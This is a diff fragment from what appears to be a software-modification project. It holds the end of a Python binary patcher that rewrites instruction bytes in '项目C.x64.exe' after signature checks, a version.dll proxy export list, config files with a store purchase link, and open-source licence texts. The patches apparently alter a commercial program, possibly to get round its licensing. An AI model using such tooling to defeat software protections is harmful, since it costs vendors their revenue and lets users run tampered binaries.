print(f"[-] 备份文件不存在: {bak_path}")
|
||||
return 1
|
||||
shutil.copy2(bak_path, exe_path)
|
||||
print(f"[+] 已恢复原版: {exe_path}")
|
||||
return 0
|
||||
|
||||
with open(exe_path, "rb") as f:
|
||||
data = bytearray(f.read())
|
||||
|
||||
print(f"[*] 正在分析: {exe_path}")
|
||||
plan = []
|
||||
for rva, expect, repl, desc in PATCH_SITES:
|
||||
off, sec = rva_to_offset(data, rva)
|
||||
if off is None:
|
||||
print(f"[-] RVA 0x{rva:X} 无法映射!")
|
||||
return 1
|
||||
cur = bytes(data[off:off + len(expect)])
|
||||
if cur == repl:
|
||||
print(f" [=] 0x{rva:X} ({sec}) 已处于修补后状态")
|
||||
elif cur == expect:
|
||||
print(f" [+] 0x{rva:X} ({sec}) 特征码匹配: {desc}")
|
||||
plan.append((off, repl))
|
||||
else:
|
||||
print(f"[-] 0x{rva:X} ({sec}) 特征码不匹配! 期望 {expect.hex(' ')}, 实际 {cur.hex(' ')}")
|
||||
return 1
|
||||
|
||||
if check_only:
|
||||
print("[+] 预检完成,特征码 100% 匹配。")
|
||||
return 0
|
||||
|
||||
if not plan:
|
||||
print("[*] 目标已完全修补,无需再次写入。")
|
||||
return 0
|
||||
|
||||
if not os.path.exists(bak_path):
|
||||
shutil.copy2(exe_path, bak_path)
|
||||
print(f"[+] 已自动创建备份: {bak_path}")
|
||||
|
||||
for off, repl in plan:
|
||||
data[off:off + len(repl)] = repl
|
||||
|
||||
with open(exe_path, "wb") as f:
|
||||
f.write(data)
|
||||
|
||||
print(f"[+] 修补完成! 共写入 {len(plan)} 处指令补丁。")
|
||||
return 0
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("target", nargs="?", default=r"..\runtime\项目C.x64.exe",
|
||||
help="目标可执行文件路径 (默认 ..\\runtime\\项目C.x64.exe)")
|
||||
ap.add_argument("--restore", action="store_true", help="恢复原版")
|
||||
ap.add_argument("--check", action="store_true", help="仅校验特征码")
|
||||
args = ap.parse_args()
|
||||
return apply_patch(args.target, restore=args.restore, check_only=args.check)
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -0,0 +1,19 @@
|
||||
LIBRARY version
|
||||
EXPORTS
|
||||
GetFileVersionInfoA
|
||||
GetFileVersionInfoByHandle
|
||||
GetFileVersionInfoExA
|
||||
GetFileVersionInfoExW
|
||||
GetFileVersionInfoSizeA
|
||||
GetFileVersionInfoSizeExA
|
||||
GetFileVersionInfoSizeExW
|
||||
GetFileVersionInfoSizeW
|
||||
GetFileVersionInfoW
|
||||
VerFindFileA
|
||||
VerFindFileW
|
||||
VerInstallFileA
|
||||
VerInstallFileW
|
||||
VerLanguageNameA
|
||||
VerLanguageNameW
|
||||
VerQueryValueA
|
||||
VerQueryValueW
|
||||
@@ -0,0 +1,4 @@
|
||||
[Version]
|
||||
|
||||
BuildNo =71822
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
[SETTING]
|
||||
config_id = std
|
||||
beta_version = 0
|
||||
is_portable = 0
|
||||
second_language = English
|
||||
app_install_test = 0
|
||||
show_update_always = 0
|
||||
|
||||
[APP.项目C]
|
||||
URL_SETUP1 = https://www.项目C.com/项目C/dl.php?项目C1
|
||||
URL_SETUP2 =
|
||||
URL_SETUP3 =
|
||||
URL_HOMEPAGE = https://www.项目C.com/项目C/
|
||||
|
||||
[APP.项目C]
|
||||
URL_SETUP1 = https://www.项目C.com/项目C/dl.php?项目C1
|
||||
URL_SETUP2 =
|
||||
URL_SETUP3 =
|
||||
URL_HOMEPAGE = https://www.项目C.com/项目C/
|
||||
|
||||
[DIGITALYCHEE]
|
||||
URL_BUYNOW = https://store.lizhi.io/site/products/id/307?cid=kyfqh6ci
|
||||
|
||||
@@ -0,0 +1,796 @@
|
||||
|
||||
|
||||
Open Source License
|
||||
-------------------------------
|
||||
|
||||
Ark Library uses these open-source projects—many thanks to their creators.
|
||||
|
||||
|
||||
* zlib 1.3.0 http://www.zlib.net/zlib_license.html
|
||||
|
||||
Copyright (C) 1995-2010 Jean-loup Gailly and Mark Adler
|
||||
|
||||
This software is provided 'as-is', without any express or implied
|
||||
warranty. In no event will the authors be held liable for any damages
|
||||
arising from the use of this software.
|
||||
|
||||
Permission is granted to anyone to use this software for any purpose,
|
||||
including commercial applications, and to alter it and redistribute it
|
||||
freely, subject to the following restrictions:
|
||||
|
||||
1. The origin of this software must not be misrepresented; you must not
|
||||
claim that you wrote the original software. If you use this software
|
||||
in a product, an acknowledgment in the product documentation would be
|
||||
appreciated but is not required.
|
||||
2. Altered source versions must be plainly marked as such, and must not be
|
||||
misrepresented as being the original software.
|
||||
3. This notice may not be removed or altered from any source distribution.
|
||||
|
||||
Jean-loup Gailly
|
||||
Mark Adler
|
||||
|
||||
|
||||
* bzip2 1.0.8 http://www.bzip.org/downloads.html
|
||||
|
||||
This program, "bzip2", the associated library "libbzip2", and all
|
||||
documentation, are copyright (C) 1996-2010 Julian R Seward. All
|
||||
rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions
|
||||
are met:
|
||||
|
||||
1. Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
|
||||
2. The origin of this software must not be misrepresented; you must
|
||||
not claim that you wrote the original software. If you use this
|
||||
software in a product, an acknowledgment in the product
|
||||
documentation would be appreciated but is not required.
|
||||
|
||||
3. Altered source versions must be plainly marked as such, and must
|
||||
not be misrepresented as being the original software.
|
||||
|
||||
4. The name of the author may not be used to endorse or promote
|
||||
products derived from this software without specific prior written
|
||||
permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS
|
||||
OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY
|
||||
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
|
||||
GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
|
||||
WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
Julian Seward, jseward@bzip.org
|
||||
bzip2/libbzip2 version 1.0.6 of 6 September 2010
|
||||
|
||||
|
||||
* ncompress 4.2.4.4 http://ncompress.sourceforge.net/
|
||||
|
||||
PUBLIC DOMAIN
|
||||
|
||||
|
||||
* unarj 2.65 http://www.arjsoftware.com/
|
||||
|
||||
UNARJ LICENSE POLICY FOR ALL USERS:
|
||||
|
||||
The UNARJ program, source code, and the associated documentation
|
||||
are copyright (c) 1990-2000 ARJ Software, Inc. all rights reserved.
|
||||
|
||||
If you distribute this software to others, you are required to
|
||||
distribute the ENTIRE package consisting of the following files:
|
||||
|
||||
README.DOC
|
||||
UNARJ.EXE
|
||||
UNARJ.DOC
|
||||
UNARJ.C
|
||||
DECODE.C
|
||||
ENVIRON.C
|
||||
UNARJ.H
|
||||
UNARJ.DEF
|
||||
TCCUNARJ.MAK
|
||||
BCCUNARJ.MAK
|
||||
BCC32.MAK
|
||||
QCLUNARJ.MAK
|
||||
OS2UNARJ.MAK
|
||||
TECHNOTE.DOC
|
||||
|
||||
We strongly prefer that the files be distributed in the format
|
||||
originally released: UNARJ243.EXE with the ARJ-SECURITY envelope as
|
||||
created by the author. If you must distribute the UNARJ archive in
|
||||
another archive format, please archive the UNARJ243.EXE as one file
|
||||
inside the other archive. Re-archival of the software as separate
|
||||
files means losing the ARJ security envelope.
|
||||
|
||||
You may freely use the UNARJ C source code. If you wish to
|
||||
distribute a modified version of UNARJ.EXE, you MUST indicate that it
|
||||
is a modified version both in the program and source code.
|
||||
|
||||
We are holding the copyright on the source code, so please do not
|
||||
delete our name from the program files or the documentation.
|
||||
|
||||
The UNARJ.EXE program is built from this source using Borland C++ 3.1.
|
||||
|
||||
You may freely use, copy, and distribute UNARJ.EXE, provided that no
|
||||
fee is charged for such use, copying or distribution.
|
||||
|
||||
You may use UNARJ.EXE in a commercial software package provided that
|
||||
no additional fee is charged for using UNARJ.EXE and provided that
|
||||
the user fully understands that NO warranty or support is provided
|
||||
for UNARJ.EXE by ARJ Software. Moreover, the user must fully
|
||||
understand that UNARJ does not have the long usage history that ARJ
|
||||
does.
|
||||
|
||||
This source code is intended to promote the building of utilities to
|
||||
support the use of ARJ and ARJ archives.
|
||||
|
||||
|
||||
* aes 20/12/2007 http://gladman.plushost.co.uk/oldsite/AES/index.php
|
||||
|
||||
Copyright (c) 1998-2008, Brian Gladman, Worcester, UK. All rights reserved.
|
||||
|
||||
LICENSE TERMS
|
||||
|
||||
The redistribution and use of this software (with or without changes)
|
||||
is allowed without the payment of fees or royalties provided that:
|
||||
|
||||
1. source code distributions include the above copyright notice, this
|
||||
list of conditions and the following disclaimer;
|
||||
|
||||
2. binary distributions include the above copyright notice, this list
|
||||
of conditions and the following disclaimer in their documentation;
|
||||
|
||||
3. the name of the copyright holder is not used to endorse products
|
||||
built using this software without specific written permission.
|
||||
|
||||
DISCLAIMER
|
||||
|
||||
This software is provided 'as is' with no explicit or implied warranties
|
||||
in respect of its properties, including, but not limited to, correctness
|
||||
and/or fitness for purpose.
|
||||
|
||||
|
||||
* libmspack 0.10.1alpha http://www.cabextract.org.uk/libmspack/
|
||||
|
||||
/* libmspack -- a library for working with Microsoft compression formats.
|
||||
* (C) 2003-2019 Stuart Caie <kyzer@cabextract.org.uk>
|
||||
*
|
||||
* libmspack is free software; you can redistribute it and/or modify it under
|
||||
* the terms of the GNU Lesser General Public License (LGPL) version 2.1
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU Lesser General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Lesser General Public License
|
||||
* along with this program; if not, write to the Free Software
|
||||
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
|
||||
*/
|
||||
|
||||
|
||||
* unrar 7.0.8 http://www.rarlab.com/rar_add.htm
|
||||
|
||||
****** ***** ****** UnRAR - free utility for RAR archives
|
||||
** ** ** ** ** ** ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
****** ******* ****** License for use and distribution of
|
||||
** ** ** ** ** ** ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
** ** ** ** ** ** FREE portable version
|
||||
~~~~~~~~~~~~~~~~~~~~~
|
||||
|
||||
The source code of UnRAR utility is freeware. This means:
|
||||
|
||||
1. All copyrights to RAR and the utility UnRAR are exclusively
|
||||
owned by the author - Alexander Roshal.
|
||||
|
||||
2. The UnRAR sources may be used in any software to handle RAR
|
||||
archives without limitations free of charge, but cannot be used
|
||||
to re-create the RAR compression algorithm, which is proprietary.
|
||||
Distribution of modified UnRAR sources in separate form or as a
|
||||
part of other software is permitted, provided that it is clearly
|
||||
stated in the documentation and source comments that the code may
|
||||
not be used to develop a RAR (WinRAR) compatible archiver.
|
||||
|
||||
3. The UnRAR utility may be freely distributed. It is allowed
|
||||
to distribute UnRAR inside of other software packages.
|
||||
|
||||
4. THE RAR ARCHIVER AND THE UnRAR UTILITY ARE DISTRIBUTED "AS IS".
|
||||
NO WARRANTY OF ANY KIND IS EXPRESSED OR IMPLIED. YOU USE AT
|
||||
YOUR OWN RISK. THE AUTHOR WILL NOT BE LIABLE FOR DATA LOSS,
|
||||
DAMAGES, LOSS OF PROFITS OR ANY OTHER KIND OF LOSS WHILE USING
|
||||
OR MISUSING THIS SOFTWARE.
|
||||
|
||||
5. Installing and using the UnRAR utility signifies acceptance of
|
||||
these terms and conditions of the license.
|
||||
|
||||
6. If you don't agree with terms of the license you must remove
|
||||
UnRAR files from your storage devices and cease to use the
|
||||
utility.
|
||||
|
||||
Thank you for your interest in RAR and UnRAR.
|
||||
|
||||
|
||||
Alexander L. Roshal
|
||||
|
||||
|
||||
* lha 1.14I http://sourceforge.jp/projects/lha/
|
||||
|
||||
/* ------------------------------------------------------------------------ */
|
||||
/* LHa for UNIX */
|
||||
/* lharc.c -- append to archive */
|
||||
/* */
|
||||
/* Copyright (C) MCMLXXXIX Yooichi.Tagawa */
|
||||
/* Modified Nobutaka Watazaki */
|
||||
/* Thanks to H.Yoshizaki. (MS-DOS LHarc) */
|
||||
/* */
|
||||
/* DOS-Version Original LHx V C2.01 (C) H.Yohizaki */
|
||||
/* ------------------------------------------------------------------------ */
|
||||
|
||||
|
||||
* pma git://git.sourceforge.jp/gitroot/lha/lha.git
|
||||
|
||||
/*
|
||||
Copyright (c) 1999 Maarten ter Huurne
|
||||
|
||||
Permission is hereby granted, free of charge, to any person
|
||||
obtaining a copy of this software and associated documentation files
|
||||
(the "Software"), to deal in the Software without restriction,
|
||||
including without limitation the rights to use, copy, modify, merge,
|
||||
publish, distribute, sublicense, and/or sell copies of the Software,
|
||||
and to permit persons to whom the Software is furnished to do so,
|
||||
subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be
|
||||
included in all copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
||||
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
||||
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
|
||||
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
|
||||
BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
|
||||
ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
|
||||
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
*/
|
||||
|
||||
|
||||
* lzma sdk 23.01 http://www.7-zip.org/sdk.html
|
||||
|
||||
PUBLIC DOMAIN
|
||||
|
||||
|
||||
* 7z 23.01 (Compressed WIM) http://www.7-zip.org/download.html
|
||||
|
||||
LGPL
|
||||
|
||||
|
||||
* NFD/NFC utf8 converter http://www.opensource.apple.com/source/xnu/xnu-1486.2.11/bsd/vfs/
|
||||
|
||||
/*
|
||||
* Copyright (c) 2000-2005 Apple Computer, Inc. All rights reserved.
|
||||
*
|
||||
* @APPLE_OSREFERENCE_LICENSE_HEADER_START@
|
||||
*
|
||||
* This file contains Original Code and/or Modifications of Original Code
|
||||
* as defined in and that are subject to the Apple Public Source License
|
||||
* Version 2.0 (the 'License'). You may not use this file except in
|
||||
* compliance with the License. The rights granted to you under the License
|
||||
* may not be used to create, or enable the creation or redistribution of,
|
||||
* unlawful or unlicensed copies of an Apple operating system, or to
|
||||
* circumvent, violate, or enable the circumvention or violation of, any
|
||||
* terms of an Apple operating system software license agreement.
|
||||
*
|
||||
* Please obtain a copy of the License at
|
||||
* http://www.opensource.apple.com/apsl/ and read it before using this file.
|
||||
*
|
||||
* The Original Code and all software distributed under the License are
|
||||
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
|
||||
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
|
||||
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
|
||||
* Please see the License for the specific language governing rights and
|
||||
* limitations under the License.
|
||||
*
|
||||
* @APPLE_OSREFERENCE_LICENSE_HEADER_END@
|
||||
*/
|
||||
|
||||
|
||||
* info-zip 6.0 (implode, shrink) http://www.info-zip.org/
|
||||
|
||||
This is version 2009-Jan-02 of the Info-ZIP license.
|
||||
The definitive version of this document should be available at
|
||||
ftp://ftp.info-zip.org/pub/infozip/license.html indefinitely and
|
||||
a copy at http://www.info-zip.org/pub/infozip/license.html.
|
||||
|
||||
|
||||
Copyright (c) 1990-2009 Info-ZIP. All rights reserved.
|
||||
|
||||
For the purposes of this copyright and license, "Info-ZIP" is defined as
|
||||
the following set of individuals:
|
||||
|
||||
Mark Adler, John Bush, Karl Davis, Harald Denker, Jean-Michel Dubois,
|
||||
Jean-loup Gailly, Hunter Goatley, Ed Gordon, Ian Gorman, Chris Herborth,
|
||||
Dirk Haase, Greg Hartwig, Robert Heath, Jonathan Hudson, Paul Kienitz,
|
||||
David Kirschbaum, Johnny Lee, Onno van der Linden, Igor Mandrichenko,
|
||||
Steve P. Miller, Sergio Monesi, Keith Owens, George Petrov, Greg Roelofs,
|
||||
Kai Uwe Rommel, Steve Salisbury, Dave Smith, Steven M. Schweda,
|
||||
Christian Spieler, Cosmin Truta, Antoine Verheijen, Paul von Behren,
|
||||
Rich Wales, Mike White.
|
||||
|
||||
This software is provided "as is," without warranty of any kind, express
|
||||
or implied. In no event shall Info-ZIP or its contributors be held liable
|
||||
for any direct, indirect, incidental, special or consequential damages
|
||||
arising out of the use of or inability to use this software.
|
||||
|
||||
Permission is granted to anyone to use this software for any purpose,
|
||||
including commercial applications, and to alter it and redistribute it
|
||||
freely, subject to the above disclaimer and the following restrictions:
|
||||
|
||||
1. Redistributions of source code (in whole or in part) must retain
|
||||
the above copyright notice, definition, disclaimer, and this list
|
||||
of conditions.
|
||||
|
||||
2. Redistributions in binary form (compiled executables and libraries)
|
||||
must reproduce the above copyright notice, definition, disclaimer,
|
||||
and this list of conditions in documentation and/or other materials
|
||||
provided with the distribution. Additional documentation is not needed
|
||||
for executables where a command line license option provides these and
|
||||
a note regarding this option is in the executable's startup banner. The
|
||||
sole exception to this condition is redistribution of a standard
|
||||
UnZipSFX binary (including SFXWiz) as part of a self-extracting archive;
|
||||
that is permitted without inclusion of this license, as long as the
|
||||
normal SFX banner has not been removed from the binary or disabled.
|
||||
|
||||
3. Altered versions--including, but not limited to, ports to new operating
|
||||
systems, existing ports with new graphical interfaces, versions with
|
||||
modified or added functionality, and dynamic, shared, or static library
|
||||
versions not from Info-ZIP--must be plainly marked as such and must not
|
||||
be misrepresented as being the original source or, if binaries,
|
||||
compiled from the original source. Such altered versions also must not
|
||||
be misrepresented as being Info-ZIP releases--including, but not
|
||||
limited to, labeling of the altered versions with the names "Info-ZIP"
|
||||
(or any variation thereof, including, but not limited to, different
|
||||
capitalizations), "Pocket UnZip," "WiZ" or "MacZip" without the
|
||||
explicit permission of Info-ZIP. Such altered versions are further
|
||||
prohibited from misrepresentative use of the Zip-Bugs or Info-ZIP
|
||||
e-mail addresses or the Info-ZIP URL(s), such as to imply Info-ZIP
|
||||
will provide support for the altered versions.
|
||||
|
||||
4. Info-ZIP retains the right to use the names "Info-ZIP," "Zip," "UnZip,"
|
||||
"UnZipSFX," "WiZ," "Pocket UnZip," "Pocket Zip," and "MacZip" for its
|
||||
own source and binary releases.
|
||||
|
||||
|
||||
* ppmd 2017-04-03 http://www.compression.ru/ds/
|
||||
|
||||
Written and distributed to public domain by Dmitry Shkarin
|
||||
|
||||
|
||||
* XADMaster(WinzipJpeg) http://wakaba.c3.cx/s/apps/unarchiver.html
|
||||
|
||||
This program, "The Unarchiver", its accompanying libraries, "XADMaster"
|
||||
and "UniversalDetector", and the various smaller utility programs, such
|
||||
as "unar" and "lsar", are distributed under the GNU Lesser General
|
||||
Public License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
"UniversalDetector" is also available under other licenses, such as the
|
||||
Mozilla Public License. Please refer to the files in its subdirectory
|
||||
for further information.
|
||||
|
||||
The GNU Lesser General Public License might be too restrictive for some
|
||||
users of this code. Parts of the code are derived from earlier
|
||||
LGPL-licensed code and will as such always be bound by the LGPL, but
|
||||
some parts of the code are developed from scratch by the author of The
|
||||
Unarchiver, Dag Ågren, and can thus be made available under a more
|
||||
permissive license. For simplicity, everything is currently licensed
|
||||
under the LGPL, but if you are interested in using any code from this
|
||||
project under another license, please contact the author for further
|
||||
information.
|
||||
|
||||
- Dag Ågren, <paracelsus@gmail.com>
|
||||
|
||||
|
||||
* WavPack 5.1.0 http://www.wavpack.com/
|
||||
|
||||
Copyright (c) 1998 - 2017 David Bryant
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice,
|
||||
this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the
|
||||
documentation and/or other materials provided with the distribution.
|
||||
* Neither the name of Conifer Software nor the names of its contributors
|
||||
may be used to endorse or promote products derived from this software
|
||||
without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR
|
||||
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
|
||||
* AES Crypt 3.10 (without GPLed code) http://www.aescrypt.com/
|
||||
|
||||
/*
|
||||
* AES Crypt for Windows (Command-Line)
|
||||
* Copyright (C) 2007, 2008, 2009, 2013
|
||||
*
|
||||
* Contributors:
|
||||
* Glenn Washburn <crass@berlios.de>
|
||||
* Paul E. Jones <paulej@packetizer.com>
|
||||
* Mauro Gilardi <galvao.m@gmail.com>
|
||||
*
|
||||
* This software is licensed as "freeware." Permission to distribute
|
||||
* this software in source and binary forms is hereby granted without a
|
||||
* fee. THIS SOFTWARE IS PROVIDED 'AS IS' AND WITHOUT ANY EXPRESSED OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
|
||||
* THE AUTHOR SHALL NOT BE HELD LIABLE FOR ANY DAMAGES RESULTING FROM
|
||||
* THE USE OF THIS SOFTWARE, EITHER DIRECTLY OR INDIRECTLY, INCLUDING,
|
||||
* BUT NOT LIMITED TO, LOSS OF DATA OR DATA BEING RENDERED INACCURATE.
|
||||
*
|
||||
*/
|
||||
|
||||
|
||||
* expand (unreduce) http://sourceforge.net/p/infozip/patches/18/
|
||||
|
||||
PUBLIC DOMAIN
|
||||
|
||||
|
||||
* XacRett (arc) http://www.kmonos.net/lib/xacrett.en.html
|
||||
|
||||
PUBLIC DOMAIN
|
||||
|
||||
|
||||
* zopfli https://github.com/google/zopfli
|
||||
|
||||
Aapache License 2.0
|
||||
|
||||
|
||||
* ZPAQ 7.15 http://mattmahoney.net/dc/zpaq.html
|
||||
|
||||
/* libzpaq.cpp - LIBZPAQ Version 7.15 implementation - Aug. 17, 2016.
|
||||
|
||||
libdivsufsort.c for divsufsort 2.00, included within, is
|
||||
(C) 2003-2008 Yuta Mori, all rights reserved.
|
||||
It is released under the MIT license as described in the comments
|
||||
at the beginning of that section.
|
||||
|
||||
Some of the code for AES is from libtomcrypt 1.17 by Tom St. Denis
|
||||
and is public domain.
|
||||
|
||||
The Salsa20/8 code for Scrypt is by D. Bernstein and is public domain.
|
||||
|
||||
All of the remaining software is provided as-is, with no warranty.
|
||||
I, Matt Mahoney, release this software into
|
||||
the public domain. This applies worldwide.
|
||||
In some countries this may not be legally possible; if so:
|
||||
I grant anyone the right to use this software for any purpose,
|
||||
without any conditions, unless such conditions are required by law.
|
||||
|
||||
LIBZPAQ is a C++ library for compression and decompression of data
|
||||
conforming to the ZPAQ level 2 standard. See http://mattmahoney.net/zpaq/
|
||||
See libzpaq.h for additional documentation.
|
||||
*/
|
||||
|
||||
|
||||
* LEA 1.2 https://seed.kisa.or.kr/iwt/ko/sup/EgovLeaInfo.do
|
||||
|
||||
* miniutf https://github.com/dropbox/miniutf
|
||||
|
||||
Copyright (c) 2013 Dropbox, Inc.
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in
|
||||
all copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
THE SOFTWARE.
|
||||
|
||||
|
||||
* unace-2.5
|
||||
|
||||
Public UnAce Licence
|
||||
----------------------
|
||||
|
||||
The Public UnAce Package (v2.0 or later if not otherwise stated) is
|
||||
distritbuted under the following licence:
|
||||
|
||||
|
||||
"Package" refers to the collection of files distributed by the Copyright Holder, and derivatives
|
||||
of that collection of files created through textual modification.
|
||||
|
||||
"Standard Version" refers to such a Package if it has not been modified, or has been modified
|
||||
in accordance with the wishes of the Copyright Holder.
|
||||
|
||||
"Distribution" as it is used here means making data available to a third party.
|
||||
No matter in which way the data is made available.
|
||||
|
||||
"Copyright Holder" is ACE Compression Software.
|
||||
"Distribution Partner" is e-merge GmbH (authorised signatory).
|
||||
|
||||
|
||||
1. The Standard Version of Public UnAce Package may be freely distributed.
|
||||
|
||||
2. The UnAce sources may be used in any software to handle ACE
|
||||
archives without limitations free of charge, but must not be used
|
||||
to reproduce the ACE compression algorithm.
|
||||
This means that that the code must not be used to develop an
|
||||
ACE compatible archiver (that is: software capable of compressing to
|
||||
Ace archives) in any way.
|
||||
|
||||
3. Distribution of modified Public UnAce sources (as part of other software
|
||||
or as stand-alone package) requires that it is clearly stated in the
|
||||
documentation and source code that it is distributed under the
|
||||
Public UnAce Licence.
|
||||
The Public UnAce Licence has to be included in this package.
|
||||
|
||||
4. The name of the Copyright Holder or the support of ACE archives may not be
|
||||
used to endorse or promote products derived from this package without specific
|
||||
prior written permission from the Copyright Holder or its Distribution Partner.
|
||||
|
||||
5. This Software is distributed "AS IS".
|
||||
NO WARRANTY OF ANY KIND IS EXPRESSED OR IMPLIED. YOU USE AT
|
||||
YOUR OWN RISK. THE AUTHOR WILL NOT BE LIABLE FOR DATA LOSS,
|
||||
DAMAGES, LOSS OF PROFITS OR ANY OTHER KIND OF LOSS WHILE USING
|
||||
OR MISUSING THIS SOFTWARE.
|
||||
|
||||
6. Installing and using the Public UnAce Package signifies acceptance of
|
||||
these terms and conditions of the license.
|
||||
|
||||
|
||||
Marcel Lemke, ACE Compression Software
|
||||
|
||||
|
||||
* NSIS-3.04 https://nsis.sourceforge.io/Main_Page
|
||||
|
||||
COPYRIGHT
|
||||
---------
|
||||
|
||||
Copyright (C) 1999-2018 Contributors
|
||||
|
||||
More detailed copyright information can be found in the individual source code files.
|
||||
|
||||
APPLICABLE LICENSES
|
||||
-------------------
|
||||
|
||||
* All NSIS source code, plug-ins, documentation, examples, header files and graphics,
|
||||
with the exception of the compression modules and where otherwise noted,
|
||||
are licensed under the zlib/libpng license.
|
||||
|
||||
* The zlib compression module for NSIS is licensed under the zlib/libpng license.
|
||||
|
||||
* The bzip2 compression module for NSIS is licensed under the bzip2 license.
|
||||
|
||||
* The LZMA compression module for NSIS is licensed under the Common Public License version 1.0.
|
||||
|
||||
|
||||
* Zstandard 1.4.3 https://github.com/facebook/zstd
|
||||
|
||||
BSD License
|
||||
|
||||
For Zstandard software
|
||||
|
||||
Copyright (c) 2016-present, Facebook, Inc. All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this
|
||||
